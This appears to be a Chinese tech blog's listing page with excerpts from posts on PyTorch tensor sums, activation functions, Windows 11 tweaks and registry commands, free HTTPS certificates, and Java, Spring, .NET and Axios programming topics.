✅ 结果 shape：(2, 2, 3)（消除 dim=1，剩下组、行、列）

3. sum(dim=2)：沿「行维度」求和

每个组、每个块内部，把上下两行按列相加

第0组第0块

1	2	3
4	1	2

↓

压成 1 行 3 列

第 0 组结果

块 0

块 1

第 1 组结果

块 0

块 1

1 + 4 = 5 同一列里，上下两行纵向相加

✅ 结果 shape：(2, 2, 3)（消除 dim=2，剩下组、块、列）

4. sum(dim=3) / sum(dim=-1)：沿「列维度」求和

每一行内部，把 3 列横向相加；`dim=-1` 就是最后一维

第0组第0块

1	2	3
4	1	2

→

压成 2 行 1 列

第 0 组结果

块 0

块 1

第 1 组结果

块 0

块 1

1 + 2 + 3 = 6 每一行把所有列直接加起来

✅ 结果 shape：(2, 2, 2)（消除 dim=3，剩下组、块、行）

💡 核心规律总结

1. dim 指哪一维，就沿哪一维求和，求和后这一维会被消掉，其他维度顺序不变
2. 四维张量可以先想成：组里面套块，块里面还是二维矩阵，这样看 `dim` 最直观
3. 负索引从后往前数：dim=-1 = dim=3，dim=-2 = dim=2
4. 对于 shape=(2,2,2,3)：

sum(dim=0) → shape=(2,2,3)
sum(dim=1) → shape=(2,2,3)
sum(dim=2) → shape=(2,2,3)
sum(dim=3) / sum(dim=-1) → shape=(2,2,2)
sum() 不指定 dim → 所有元素一起相加，结果是一个标量

一文讲透激活函数：为什么它能搞定非线性问题？

Mon, 28 Aug 2023 00:00:00 +0000

很多人入门神经网络，都会卡在“激活函数”这一步。
你可能听过无数遍这句话：加入激活函数，神经网络就能处理非线性问题。但心里大概率藏着一堆问号：

什么是线性？什么是非线性？为什么一条直线就能表示线性问题？
激活函数到底做了什么，凭什么它就能处理非线性？
ReLU把负数都归零了，数据不会失真吗？信息不会丢吗？
识别图片这么复杂的事，和“曲线”到底有什么关系？

这篇文章我们完全抛开公式，用生活里的例子，把这些问题一次性讲透，数学小白、计算机小白也能看懂。

一、先搞懂基础：什么是线性？什么是非线性？

先别急着看神经网络，我们从最日常的事说起。

1. 线性问题：“成正比”的简单关系

想象你去买苹果，一斤5块钱。

买1斤，花5元
买2斤，花10元
买10斤，花50元

买的重量翻倍，花的钱也跟着翻倍。这种输入变多少，输出就按固定比例跟着变的关系，就叫线性关系。
把它画在坐标图上，就是一条直直的线，“线性”这个名字就是这么来的。

生活里纯线性的事还有很多：按小时算的时薪、匀速行驶的路程和时间……它们的规律都很简单：没有拐弯、没有阈值，永远按固定比例走。

2. 非线性问题：真实世界的本来面貌

但真实世界里，绝大多数事情都不是“成正比”这么简单。
举几个最常见的例子：

体温与健康：37度是正常，38度算发烧，42度就会有生命危险。不是温度越高“病得越重”，到了某个临界点，性质就完全变了。
按开关开灯：按到一半灯还是灭的，一旦过了某个临界点，灯突然全亮。中间有一个明确的“阈值”。
房价与面积：不是面积大一倍价格就大一倍，地段、学区、楼层、装修都会影响价格，各种因素交织，关系弯弯曲曲。
识别一张猫的照片：像素亮度变一点点，它还是猫；但变多了可能就变成狗了，绝不是简单的比例关系。

这些不成正比、有拐弯、有阈值、关系复杂的问题，就叫非线性问题。画在图上，它们是曲线、折线、奇形怪状的面，一条直线根本描述不了。

二、没有激活函数的神经网络：永远只会画直线

搞懂了线性和非线性，我们再来看神经网络本身。
神经网络最基本的单元叫“神经元”，它做的事特别简单：接收一堆输入，给每个输入分配一个“重要程度”（权重），全部加起来，再加上一个偏移量，然后输出结果。

说白了就是：把各个数按比例加起来。
比如判断一个水果是不是苹果，神经元可能会算：
颜色红不红 × 0.6 + 圆不圆 × 0.3 + 大小 × 0.1 = 总分

这本质上还是一个线性计算——输入怎么变，输出都按固定比例跟着变。

叠很多层，总该变复杂了吧？

有人会说：一层是直线，我叠一百层、一千层，总该能处理复杂问题了吧？
很遗憾，不行。

你可以这么理解：第一层把输入“按比例加一遍”得到结果，第二层再把这个结果“按比例加一遍”……不管你加多少层，本质上都是“按比例加来加去”，最后数学上化简一下，仍然等价于一层线性计算。

举个最简单的例子：

第一层：y = 2x + 1
第二层：z = 3y + 2
合起来化简：z = 3(2x+1) + 2 = 6x + 5

最后还是一条直线。

Windows 11 隐藏技巧清单：这些神级设置，让你的电脑好用到飞起

Mon, 21 Aug 2023 00:00:00 +0000

除了之前提到的经典技巧，Windows 11还有很多类似这样好用的“隐藏彩蛋”。我把它们整理成了一份清单，希望能帮你解决问题：

🚀 效率小细节

告别繁琐批处理：一键批量重命名：在文件资源管理器里，一次性选中所有需要改名的文件，然后右键并选择“重命名”，输入一个统一的名称并按回车。比如输入“项目报告”，它们就会被自动命名为“项目报告 (1)”、“项目报告 (2)”……从此告别一个个手动修改。
秒回桌面，优雅摸鱼：Win + D 是个好用的快捷键，按一次瞬间显示桌面，再按一次就能恢复之前的所有窗口。比一个个点“最小化”或者鼠标狂甩到“显示桌面”按钮快多了，非常适合在老板突然经过时“一秒切回桌面”。
Ctrl键找鼠标：在“设置” → “蓝牙和其他设备” → “鼠标” → “其他鼠标设置” → “指针选项”里，勾选“当按 CTRL 键时显示指针的位置”。之后找不到鼠标指针时，按一下Ctrl键，一个会动的圆形光圈就会立刻指示出它的位置，对高分辨率屏幕或者眼神不太好的用户非常友好。
Ctrl键找鼠标：高分辨率屏幕或密集代码中经常找不到鼠标？在“设置” > “蓝牙和其他设备” > “鼠标” > “其他鼠标设置” > “指针选项”中，勾选“当按 CTRL 键时显示指针的位置”。找不到它时按一下Ctrl键，一个动画光圈会立刻为它定位。
锁屏忘了？手机帮你记：通过“设置” → “蓝牙和其他设备” → “添加蓝牙设备”将手机与电脑配对，然后在“账户” → “登录选项”中，找到“动态锁”，勾选“允许 Windows 在你离开时自动锁定设备”。当你带着手机离开，系统检测不到配对设备的蓝牙信号就会自动锁定电脑，安全又便利。

👓 不再迷路的鼠标指针

Ctrl键找鼠标：高分辨率屏幕或密集代码中经常找不到鼠标？在“设置” > “蓝牙和其他设备” > “鼠标” > “其他鼠标设置” > “指针选项”中，勾选“当按 CTRL 键时显示指针的位置”。找不到它时按一下Ctrl键，一个动画光圈会立刻为它定位。

⚙️ 系统加速隐藏开关

让搜索“飞”起来：关闭Bing网络搜索：在注册表路径 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Search 下，找到或新建一个名为 BingSearchEnabled 的 DWORD (32 位)值，将其数值数据设置为 0。这会让系统只搜索本地内容，避开网络延迟，搜索响应速度能快上不少。
告别“又卡又闪”的资源管理器：通过第三方免费工具 ExplorerPatcher，在其属性设置中，找到“文件资源管理器（File Explorer）”菜单，取消勾选“Windows 11 命令栏（Command Bar）”，并选择使用“Windows 10 Ribbon 菜单”或“Windows 7 命令栏”。这样可以大幅提升文件资源管理器的稳定性和响应速度。
禁用“自动发现”提速文件夹：在注册表路径 HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell 下，新建一个名为 FolderType 的字符串值，并将其数值数据设置为 NotSpecified。这可以防止系统反复扫描文件夹内容以“自动优化”视图，打开文件较多的文件夹时会流畅很多。

✨ 解放双手的智能功能

不想打字？直接说吧！：在任何可以输入文字的地方，按下 Win + H 快捷键，就能直接唤醒 Windows 的语音录入功能。对着麦克风说话，系统会自动识别并转换成文字，还支持基础的标点符号识别，非常适合懒得打字或者需要快速记录的场景。
续上你的工作：重启自动恢复应用：在“设置” → “账户” → “登录选项”中，开启“自动保存我的可重启应用，并在我重新登录时将它们重启”。下次电脑重启或更新后，那些未关闭的文件夹和应用会像什么都没发生过一样，自动重新打开，让你的工作无缝衔接。
一次性拥有所有设置：上帝模式：在桌面上新建一个文件夹，然后将文件夹重命名为：上帝模式.{ED7BA470-8E54-465E-825C-99712043E01C}。文件夹图标会变成控制面板的样子，打开它就像拥有了一个包含Windows中几乎所有管理和配置工具的“宝藏库”，按需搜索即可直达深层设置。

⌨️ 提高效率的专属快捷键

Win + V：剪贴板历史（需首次手动开启），它能记住你最近复制过的所有内容，并支持在设备间同步。
Win + Tab：新建多个“虚拟桌面”，用Win + Ctrl + 左右箭头快速切换，把工作、学习、娱乐分开放置。
Win + Shift + S：唤出全新的截图工具，提供了矩形、任意形状等多种截图模式，截图后还能直接编辑或录制屏幕。
Ctrl + Shift + T：在浏览器里误关了一个标签页？直接按这个组合键就能瞬间重新打开，而且会保留浏览历史。
F2：在文件资源管理器里，选中文件或文件夹后直接按 F2，就可以快速进入重命名状态。

🤫 冷门但实用的小功能

专注时段：一个内置的番茄钟工具，可以定时静音通知，让你能专注工作。
隐藏桌面图标：在桌面右键，选择“查看”，然后取消勾选“显示桌面图标”，可以一键隐藏所有图标。
Ctrl + 鼠标滚轮：在“此电脑”或任意文件夹内，按着Ctrl滚动滚轮，可以快速切换文件和文件夹的图标大小。

AI真的懂你的话吗？一文看透大模型的“概率魔法”与“维度陷阱”

Mon, 03 Jul 2023 00:00:00 +0000

今天，我们就来扒一扒人工智能与人类认知的底层逻辑，揭开 AI 运转的四大核心真相。

一、机器学习的本质：真的只是“算概率”吗？

很多人认为“机器学习 = 概率推测”。这个说法抓住了主流，但不够全面。

“概率推测”确实是最核心的思维方式。 比如判断一封邮件是不是垃圾邮件（分类），或者大模型预测下一个词是什么（生成），本质上都在计算概率。从统计学派的角度看，很多机器学习问题就是概率推断。

但是，机器学习的武器库远不止概率，它还包括其他核心机制：

算具体数值（回归）：预测明天气温25度、房价300万。模型直接输出确定的连续数值，而不是推测概率。
算距离与几何（聚类、SVM）：把相似的用户分群（K-Means），核心是计算数据点之间的“空间距离”；支持向量机（SVM）是寻找“最宽的几何间隔”来切分数据。这依赖的是几何和线性代数。
算奖励与试错（强化学习）：AI 下围棋、机器人学走路，核心是通过不断“试错”来最大化累积奖励，学习的是行动策略。

小结：机器学习的核心是 “从数据中学习规律，从而对未知事物进行预测或决策”。“概率”只是它最常用的一种数学工具，而非全部。

二、人脑 vs AI：我们的大脑也是一台“概率推测机”吗？

既然 AI 在算概率，那人类呢？现代认知科学和神经科学的主流观点给出了肯定的答案：人的大脑本质上就是一台“概率推测机”。

大脑是如何做概率推测的？

贝叶斯大脑假说：大脑时刻在做贝叶斯推断。它结合“先验概率”（过去的经验）和“当前证据”（感官输入），推测出最可能的结果。大脑不是被动接收信息，而是主动预测世界。
预测编码（自由能原理）：神经科学家 Karl Friston 认为，大脑的核心任务是最小化“意外”。大脑时刻生成预测，如果现实和预测不符（比如你以为台阶还有一级，结果踩空了），大脑就会产生“预测误差”，并立刻更新概率模型。
神经层面的“概率投票”：单个神经元的放电充满随机性。大脑做决定时，是成千上万个神经元在“投票”，当支持某个决定的概率累积超过阈值时，大脑才会做出行动。

但是，人脑和 AI 有本质区别

虽然都是概率推测，但两者的表现截然不同：

计算精度：AI 是精确计算（算出下一个词是“苹果”的概率为 87.3%）；人脑是模糊估算（靠“直觉”，容易产生认知偏差）。
数据需求：AI 需要海量数据（看几百亿个词）；人脑擅长小样本学习（小孩看一次狗，就能认出所有的狗）。
核心目标：AI 为了优化目标函数（降低误差）；人脑为了生存与繁衍（草丛里有动静，宁可错认为老虎，也不能漏判）。

三、机器的“语义魔法”：它怎么懂文字的意思？

很多人以为，机器把文字转成向量，就像是给字典里的字编号（比如“苹果”是1024号，“梨”是1025号）。如果真是这样，机器确实不懂语义，因为编号之间没有数学关系。

真相是：现代 AI 用的向量不是“编号”，而是“多维空间里的坐标”。

1. 机器怎么“知道”语义？（靠统计学的“物以类聚”）

语言学有个核心假设：“一个词的含义，由它周围的词决定。”
机器在阅读了千亿篇文章后发现：“吃 ” 后面常接“苹果”、“香蕉”；“ 手机” 前面常接“苹果”、“华为”。
机器通过神经网络，把这种 “共同出现的概率” 变成了 “空间里的距离”。在机器的多维空间里，“国王”减去“男人”加上“女人”的坐标，刚好等于“女王”！机器不懂什么是国王，但它用几何距离完美表达了人类的语义关系。

2. 机器怎么“压缩”语义？（靠注意力机制“互相染色”）

当你输入“我想吃苹果”时，编码器（Encoder）通过注意力机制（Attention） 让这5个词互相“交流”：

“苹果”的向量会吸收“吃”和“想”的信息。
经过多层神经网络，原本只代表“水果”的“苹果”向量，被修改成了一个包含“想吃”意图的新向量。

所谓“压缩语义”，就是通过矩阵乘法，把一长串词的高维信息，提炼、融合成最能代表这句话核心特征的“上下文向量”。 机器没有人类的“具身认知”（没吃过苹果），但它掌握了语言的“分布式拓扑结构”。

四、维度的秘密：AI 的“脑容量”越大越好吗？

既然向量是空间坐标，那把文字压缩成几维的向量？是维度越高越好吗？

个人建站免费 HTTPS 证书全攻略：三种方案轻松搞定

Fri, 30 Jun 2023 00:00:00 +0000

不花一分钱，也能给自己的网站加上“小绿锁”

建站初期，很多个人站长都会纠结一个问题：要不要上 HTTPS？ 买证书要花钱，免费的又怕不靠谱。其实，今天已经有很多成熟的免费方案，完全可以满足个人博客、小型项目的需求。本文就来聊聊我个人用过的几种方案，并给出最实在的建议。

为什么要折腾 HTTPS？

简单说两点：

浏览器不“警告”：没有 HTTPS，Chrome 会在地址栏标记“不安全”，非常劝退访客。
SEO 友好：搜索引擎更青睐 HTTPS 站点。

既然好处明显，付费证书动辄几百上千，个人站长完全可以从免费方案入手。

方案一：云厂商“白送”的证书——最适合新手

如果你用的是阿里云、腾讯云、华为云等国内云服务器，它们都提供了免费 DV 证书。以阿里云为例：

登录控制台 → 找到“数字证书管理服务”（SSL 证书）。
点击“购买证书”，筛选“免费版”（DigiCert 品牌，单域名，有效期 1 年，实际 3 个月，但可续期）。
填写域名，选择 DNS 验证（在域名解析加一条 TXT 记录）或文件验证。
审核通过后下载证书，按你的 Web 服务器（Nginx/Apache）配置即可。

✅ 优点：操作全程中文，跟自己的云产品无缝对接，有客服。
❌ 缺点：每个实名主体每自然年只有 20 张（其实够用），有效期只有 90 天，且仅支持主域名或 www 的一个单域名。

小技巧：虽然只有 90 天，但云厂商一般会提前提醒续期，手动重签一次也很简单。

方案二：Let‘s Encrypt + acme.sh —— 技术玩家的最爱

如果你不满足于单域名，或者希望完全自动化（比如申请泛域名证书 *.example.com），那 Let’s Encrypt 就是不二之选。它是 Linux 基金会旗下的公益 CA，全球信任。

配合 acme.sh 这个纯 Shell 脚本，可以实现：

90 天有效期，到期自动续期（通过 crontab）。
支持 DNS API 自动验证（针对阿里云、腾讯云、Cloudflare 等上百家 DNS 服务商）。
通配符证书（需要 DNS 验证）。

基本操作（以 Nginx 为例）：

Win11 文件资源管理器默认打开「此电脑」：告别快速访问，一步直达

Fri, 12 May 2023 00:00:00 +0000

每次打开文件资源管理器，Windows 11 都默认跳转到“快速访问”页面，里面堆满了最近使用的文件和文件夹。但对于很多用户来说，他们更希望直接看到完整的硬盘分区和系统文件夹——“此电脑”。其实只需一个简单设置，就能改变这个默认行为。

一、通过文件夹选项设置（官方原生方式，推荐）

这是最简单、最安全的方法，完全不需要接触注册表，设置后立即生效。

操作步骤：

随意打开一个文件夹窗口（或按 Win + E 快捷键）。
点击窗口顶部工具栏右侧的 “···”（三个点）按钮，在下拉菜单中选择 “选项”。
（也可以直接在地址栏旁边找到“查看”菜单下的“选项”，或者点击“···”后选择“选项”）
在弹出的“文件夹选项”窗口中，确保当前是 “常规” 选项卡。
在顶部“打开文件资源管理器时打开”的下拉菜单中，将默认选项从“快速访问”改为 “此电脑”。
点击 “确定” 保存设置。

从此以后，你再按下 Win + E 打开文件资源管理器时，就会直接显示“此电脑”界面，可以看到 C盘、D盘、下载文件夹等所有系统位置。

恢复方法： 如果想换回快速访问，只需按照上述步骤，在下拉菜单中选择“快速访问”即可。

二、通过组策略编辑器修改（仅限专业版/企业版）

如果你使用的是 Windows 11 专业版、企业版或教育版，还可以通过组策略来统一设置，尤其适合企业环境下的批量管理。

按下 Win + R，输入 gpedit.msc 并回车，打开“本地组策略编辑器”。
依次展开：用户配置 → 管理模板 → Windows 组件 → 文件资源管理器。
在右侧列表中找到 “打开文件资源管理器时打开‘此电脑’” 策略。
双击该策略，选择 “已启用”，然后点击“确定”。
重启文件资源管理器或注销重新登录即可生效。

三、注册表修改法（适用于所有版本，进阶用户）

如果你的系统是 Windows 11 家庭版（没有组策略编辑器），或者你更喜欢直接用注册表，可以这样做。

操作步骤：

按下 Win + R，输入 regedit，回车打开注册表编辑器。

导航到以下路径：

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

在右侧窗口中找到名为 LaunchTo 的 DWORD 值。
- 如果不存在，请在空白处右键 → 新建 → DWORD (32 位)值，命名为 LaunchTo。
修改其数值数据：
- 1 表示打开“此电脑”
- 0 表示打开“快速访问”
点击“确定”，然后重启文件资源管理器（可在任务管理器中找到“Windows 资源管理器”右键重启）或注销再登录。

💡 小贴士：两种模式随时切换

即便你设置了默认打开“此电脑”，也仍然可以在文件资源管理器的左侧导航栏中，随时点击“快速访问”来查看最近使用的文件。两者互不矛盾，只是改变默认落地页而已。

从开发视角彻底读懂机器学习核心数学概念

Mon, 08 May 2023 00:00:00 +0000

很多工程师一看到 导数、偏导、反向传播、自动微分、梯度下降、权重、偏置 这些词，就容易觉得机器学习门槛很高。

其实这些概念放到代码里并不神秘。本文会用一个 广告系统智能出价引擎 的例子，尽量不用复杂公式，把这组核心概念讲清楚。

一、业务场景引入：智能广告出价引擎

为电商网站开发广告投放系统：根据用户历史活跃度（过去30天点击次数 $x$），自动算出合理的广告竞价（预测出价 $y_{pred}$）。出价太高成本爆炸，太低抢不到曝光，因此要让系统自动“学会”配置最优的出价核心参数。

二、流程里的核心角色

可以先记住这几个最核心的角色。

权重 w：决定某个特征有多重要。
偏置 b：决定基础输出是多少。

它们一起组成最简单的模型：
$
y = w \cdot x + b
$

w 和 b 一开始通常是随便给的，训练的过程，就是不断把这两个值调得更合适。

把输入数据送进模型，算出预测值，这一步就叫前向传播。
比如 x = 3，w = 2，b = 1，那么：
$
y_{pred} = 2 \times 3 + 1 = 7
$

但预测值 7 和真实值 10 还有差距，所以还要用损失函数来衡量“错了多少”。
比如用平方误差：
$
Loss = (y_{pred} - y_{true})^2 = (7 - 10)^2 = 9
$

这里这个公式叫损失函数，算出来的 9 就是损失值。训练的目标，就是让损失越来越小。

Win11 任务栏图标靠左设置：告别居中，找回经典布局

Tue, 21 Mar 2023 00:00:00 +0000

Windows 11默认将任务栏图标居中显示，这一设计虽然现代，但很多从Win10升级过来的用户更习惯传统的左对齐布局。其实系统自带了左对齐选项，只需几步就能轻松调整，完全是微软官方的原生功能，安全可靠。

一、通过系统设置调整（官方原生方式，强烈推荐）

这是最简单、最安全的方法，完全不需要接触注册表，所有更改立即生效。

操作步骤：

在任务栏的空白处右键点击，在弹出的菜单中选择“任务栏设置”。
在打开的设置页面中，向下滚动，找到并点击“任务栏行为”以展开详细选项。
在“任务栏对齐方式”下拉菜单中，将选项从默认的“居中”改为“左”。

设置完成后，任务栏图标会立即移动到左侧，无需重启电脑。

原理说明： 这一步操作实际上是在修改 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced 路径下的 TaskbarAl 注册表值，DWORD值为 0（左）或 1（居中）。系统设置界面只是为这个底层配置提供了一个友好的图形入口。

恢复方法： 如需恢复居中对齐，只需按照上述步骤，在“任务栏对齐方式”下拉菜单中选择“居中”即可。

适用版本： Windows 11 22H2及后续版本（包含23H2、24H2）。

二、其他进阶方法

如果你的系统版本较旧，或者设置选项被禁用，也可以使用以下方法。

🖥️ 方法二：通过命令行（.bat脚本）

一行命令搞定，适合需要批量部署的场景。

打开记事本，输入以下内容：

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v TaskbarAl /t REG_DWORD /d 0 /f

保存文件时，将后缀名改为 .bat（例如 Left.bat），右键选择“以管理员身份运行”即可生效。

🛠️ 方法三：使用第三方优化脚本

如果你希望对任务栏进行更多自定义改造（如隐藏搜索框），可以考虑使用 Win11Debloat 这类开源脚本工具。它提供了一键运行的任务栏左对齐注册表脚本（Align_Taskbar_Left.reg），方便进行批量设置。

❓ 常见问题与注意事项

为什么找不到“任务栏行为”选项？
如果在任务栏设置中找不到“任务栏行为”或“任务栏对齐方式”选项，可能是因为你的Windows 11版本过旧，最初的预览版没有这个功能，可以更新系统到最新版本再尝试。
设置后没有生效怎么办？
可以尝试以下步骤排查：
1. 按 Ctrl + Shift + Esc 打开任务管理器。
2. 在“进程”列表中找到“Windows 资源管理器”。
3. 右键点击它，选择“重新启动”，等待屏幕刷新后再次检查。
系统更新后设置会丢失吗？
某些系统更新可能会覆盖对注册表的修改，如果更新后发现任务栏又变回了居中，重新设置一次即可。
只想临时看看左对齐效果？
如果只是想临时体验一下，又不想做任何修改，不必着急，直接按照上面方法操作就可以了。Win11的左对齐本身就是原生支持的功能，放心开启吧！
⚠️ 重要提示
无论使用哪种方法，都建议先备份重要数据。注册表修改存在一定风险，虽然本文的方法都经过验证，但以防万一，最好在操作前创建系统还原点或备份注册表。

过滤器、拦截器与 AOP：Java 开发中的三角关系解析

Sat, 28 Jan 2023 00:00:00 +0000

在Java开发中，过滤器和拦截器常被提及，它们与AOP（面向切面编程）的关系容易让开发者困惑。本文将深入解析三者之间的关系、核心区别与适用场景，并回答关键问题： “AOP能否替代过滤器和拦截器？” 通过技术拆解与实战案例，带你理清三者协作的正确姿势。

一、核心结论：三角协作，各司其职

过滤器和拦截器是AOP思想的实践工具，用于解决Web层的横切关注点，但仅覆盖请求处理流程的特定阶段。
AOP是更通用的编程范式，可作用于任意Java方法（如Service层逻辑），与HTTP请求无关。
三者执行顺序（从外到内）：Filter → Interceptor → AOP，层级递进，协同工作。

二、关键区别：技术层级、能力与边界

维度	过滤器（Filter）	拦截器（Interceptor）	AOP
技术层级	Servlet容器（如Tomcat）	Spring MVC框架	Spring框架或AspectJ
作用范围	所有HTTP请求（含静态资源）	仅Spring MVC的Controller请求	任意Spring管理的Bean方法
核心能力	操作原始HTTP流（请求/响应）	访问Web上下文（如HttpServletRequest）	方法级增强（如事务、日志）
典型场景	字符编码、跨域处理、安全头注入	登录认证、权限校验、接口日志	事务管理、缓存控制、性能监控
能否访问Spring Bean	❌（需特殊配置）	✅	✅
能否拦截静态资源	✅	❌	❌

三、误区澄清：AOP无法替代过滤器和拦截器
为什么AOP不能完全替代？

技术层级不兼容：
- 过滤器：处理容器级协议问题（如修改原始请求体、设置字符编码），AOP无法触及HTTP原始流。
- 拦截器：处理Web层业务规则（如重定向、Session校验），AOP若在Service层实现，会导致逻辑与Web层耦合（例如定时任务触发不必要的权限校验）。
关键功能缺失：
- 静态资源处理、协议级配置（如CORS）必须由过滤器完成，AOP无法覆盖。
性能与可靠性风险：
- 用AOP替代过滤器处理高频静态资源，会造成不必要的动态代理开销，降低性能。
- 在AOP中通过RequestContextHolder获取请求对象，易在异步场景引发线程安全问题。

四、最佳实践：分层协作，各取所长

过滤器（Filter）：
- 职责：处理协议级问题，如跨域、安全头注入、请求解密、字符编码设置。
- 案例：强制HTTPS重定向、全局IP黑白名单过滤。
拦截器（Interceptor）：
- 职责：处理Web层业务逻辑，如登录校验、权限控制、接口级日志记录。
- 案例：基于用户角色的API权限校验，防重复提交。
AOP：
- 职责：处理业务层通用逻辑，与方法调用绑定，如事务管理、缓存、性能监控。
- 案例：@Transactional注解实现事务控制，方法级日志记录。

五、实战建议与避坑指南

分层设计原则：
- 协议层问题用过滤器，Web层逻辑用拦截器，业务层通用逻辑用AOP。
避免职责错位：
- 不要在Service层用AOP实现登录校验（应使用拦截器），避免非Web场景触发错误逻辑。
性能优化：
- 对静态资源请求，通过过滤器配置（如<url-pattern>）跳过不必要的拦截器或AOP逻辑。
代码示例参考：
- 过滤器示例：public class CorsFilter implements Filter { ... }
- 拦截器示例：public class AuthInterceptor implements HandlerInterceptor { ... }
- AOP示例：@Aspect @Component public class LogAspect { ... }

六、总结：三角关系，协同共赢
过滤器和拦截器是AOP思想在Web请求链路中的落地形式，但各自有不可替代的职责。AOP的通用性不应成为替代其他两者的理由。合理的架构设计应遵循分层协作原则：

Spring 依赖注入：为什么构造器注入优于 @Autowired 字段注入？

Tue, 06 Dec 2022 00:00:00 +0000

在 Spring 开发中，依赖注入（DI）是我们每天都在使用的核心功能。很多开发者习惯直接在字段上加 @Autowired，因为这样写起来最快、最简洁。但你可能不知道，Spring 官方和社区早已将构造器注入（Constructor Injection）列为首选方式。

那么，@Autowired 字段注入和构造器注入到底有什么区别？为什么说后者更优秀？本文将从强制性、不变性、测试友好性、循环依赖、代码耦合等多个维度进行深度对比，并给出明确的最佳实践建议。

一、两种注入方式快速回顾

1. 字段注入（Field Injection）

@Service
public class UserService {
    @Autowired
    private UserRepository userRepository;   // 直接写在字段上

    public void doSomething() {
        userRepository.save();
    }
}

2. 构造器注入（Constructor Injection）

@Service
public class UserService {
    private final UserRepository userRepository;

    // Spring 4.3+ 如果只有一个构造器，可以省略 @Autowired
    public UserService(UserRepository userRepository) {
        this.userRepository = userRepository;
    }

    // 业务方法...
}

配合 Lombok 可以更简洁：

.NET 版 StringJoiner：比 string.Join 更会「打扮」的字符串拼接器

Sat, 15 Oct 2022 00:00:00 +0000

告别 string.Join 的局限——用扩展方法轻松添加前缀和后缀

在日常开发中，字符串拼接恐怕是最常见的操作之一。.NET 自带的 string.Join 方法已经非常强大：性能好、支持泛型、能正确处理 null，用它来连接集合中的元素简直不要太方便。

但是，如果你写过 Java，可能会怀念 StringJoiner 类——它除了分隔符，还允许你指定前缀和后缀。例如 new StringJoiner(", ", "[", "]").add("A").add("B") 可以得到 "[A, B]"。这种写法在生成日志、SQL 片段、JSON 数组字符串等场景下非常实用。

那么，在 .NET 中能否也拥有这样的能力？当然可以。今天我们就来自己动手，为 IEnumerable<T> 写一个扩展方法，让它支持前缀和后缀，并且保持 string.Join 的高效和简洁。

一、原生 `string.Join` 的局限性

假设我们有一个水果列表：

var fruits = new List<string> { "苹果", "香蕉", "橙子" };

想要输出 "[苹果, 香蕉, 橙子]"，用 string.Join 只能做到中间部分：

string middle = string.Join(", ", fruits);   // "苹果, 香蕉, 橙子"
string result = "[" + middle + "]";          // "[苹果, 香蕉, 橙子]"

虽然也不麻烦，但当拼接逻辑多次出现时，重复写前缀后缀会显得啰嗦，也容易出错。更好的方式是一次性声明“分隔符、前缀、后缀”。

二、目标 API 设计

我们希望像这样使用：

string result = fruits.JoinWithSurround(", ", "[", "]");
// 输出: [苹果, 香蕉, 橙子]

第一个参数：分隔符（string）
第二个参数：前缀（string）
第三个参数：后缀（string）

同时，还要支持自定义元素到字符串的转换（类似于 Select），并且处理空集合时的行为（返回 prefix + suffix，类似 Java 的 StringJoiner）。

上传文件路径怎么写最稳？详解 ASP.NET 三种路径写法的区别

Wed, 24 Aug 2022 00:00:00 +0000

在 ASP.NET 项目里，文件上传、导出、日志落盘都离不开“路径”。很多人常见三种写法：

Server.MapPath("~/Uploads/...")
Server.MapPath("/Uploads/...")
Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Uploads", ...)

看起来都能用，但它们的“参照点”不同，部署后表现也可能完全不一样。

1. `Server.MapPath("~/Uploads/...")`：基于应用根目录

~ 表示当前 Web 应用根目录（virtual app root）。

var path = Server.MapPath("~/Uploads/2026/04/16");

特点：

最符合 Web 应用语义
项目部署到虚拟目录（如 /MyApp）时仍然稳定
在 Controller/Page 中最推荐

适用场景：

上传文件
站内资源落盘
需要明确“当前应用目录”的所有场景

2. `Server.MapPath("/Uploads/...")`：基于站点根目录

/ 表示IIS 站点根，不一定是你的应用根。（.net core /.net 6+ 已废弃）

var path = Server.MapPath("/Uploads/2026/04/16");

特点：

参照的是站点，不是应用
当应用是虚拟目录时，容易映射到“应用外”路径
多应用共站点时风险更高

适用场景：

你明确要访问站点级共享目录
对 IIS 站点结构有完全掌控

3. `AppDomain.CurrentDomain.BaseDirectory`：基于进程物理基目录

这是纯 .NET 物理路径方式，不经过虚拟路径解析。

var path = Path.Combine(
    AppDomain.CurrentDomain.BaseDirectory,
    "Uploads", "2026", "04", "16");

特点：

不依赖 HttpContext，后台任务、定时任务也能用
更“宿主相关”，在不同运行环境下基目录可能不同
适合非 Web 请求上下文代码

适用场景：

Windows Service / Console / Job
Web 项目中脱离请求管道的后台处理逻辑

三种方式对比总结

最稳妥的 Web 上传路径：Server.MapPath("~/...")
明确站点级路径才用：Server.MapPath("/...")
非请求上下文或通用 .NET 程序：BaseDirectory + Path.Combine

实战建议（上传功能）

在 Controller 中写上传目录时，优先：

Win11 右键菜单一键切换：让「显示更多选项」彻底消失

Sat, 02 Jul 2022 00:00:00 +0000

Windows 11 默认的右键菜单把很多常用功能折叠进了“显示更多选项”，每次都要多点一下，实在烦人。其实系统内置了一条命令，可以一键切换回经典的 Win10 完整菜单，而且随时能恢复。

操作步骤（全程 30 秒搞定）

以管理员身份打开“Windows 终端”（或命令提示符）。

粘贴对应命令，按回车执行：

➡️ 切换到 Win10 经典完整菜单

reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve

⬅️ 恢复 Win11 默认菜单

reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f

重启资源管理器让生效：

taskkill /f /im explorer.exe & start explorer.exe

或者

taskkill /f /im explorer.exe; start explorer.exe

执行后屏幕会闪一下，菜单样式就变了。

临时查看完整菜单的小技巧

如果不想修改系统设置，只需在右键时按住 Shift 键，弹出的就是经典完整菜单，用完即走，不留痕迹。

注意：该方法仅影响右键菜单的折叠/展开样式，不会删除或禁用任何菜单项，安全可靠。

Axios + async/await：你以为的「同时请求」，可能正在串行执行

Thu, 12 May 2022 00:00:00 +0000

一个小小的 await 顺序，可能让你的接口总耗时翻倍

在现代前端开发中，axios 搭配 async/await 几乎是请求接口的标配写法。但很多人可能没意识到：同样是写 await，两个接口的完成时间可能相差一倍。

场景复现

